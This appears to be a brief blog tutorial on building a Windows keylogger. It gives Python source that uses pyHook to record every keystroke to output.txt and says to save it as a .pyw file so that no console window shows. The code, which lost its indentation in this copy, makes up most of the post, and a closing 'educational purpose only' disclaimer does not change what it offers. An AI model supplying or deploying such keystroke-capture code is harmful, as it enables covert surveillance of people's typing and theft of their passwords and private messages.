How to create a keylogger using notepad

Today I'll be teaching you how to create a keylogger using notepad.


If you don't already know vwhat keyloggers are Click Here to find out.

Follow the steps below to create a keylogger using notepad.

1. Open notepad and paste the following code in it:

import pyHook, pythoncom, sys, logging
file_log = 'output.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

# feel free to set the file_log to a different file name/location

2. Save the file as keylogger.pyw

3. Fire up your keylogger Double-click on the file you just created and test it out, then start typing.
When you want to stop logging, open up task manager and kill all the “python” processes. Then look for output.txt in the same directory were the keylogger.pyw is. Open it up and you should see whatever you typed. You may see some weird looking character if you open it with notepad, those characters means you hit the backspace key.

This tutorial is only for educational purpose. don't harm anyone i will not be responsible of any illegal activity performed by you. Stay Safe and Enjoy. Thanks for reading!

You Might Also Like

0 Comments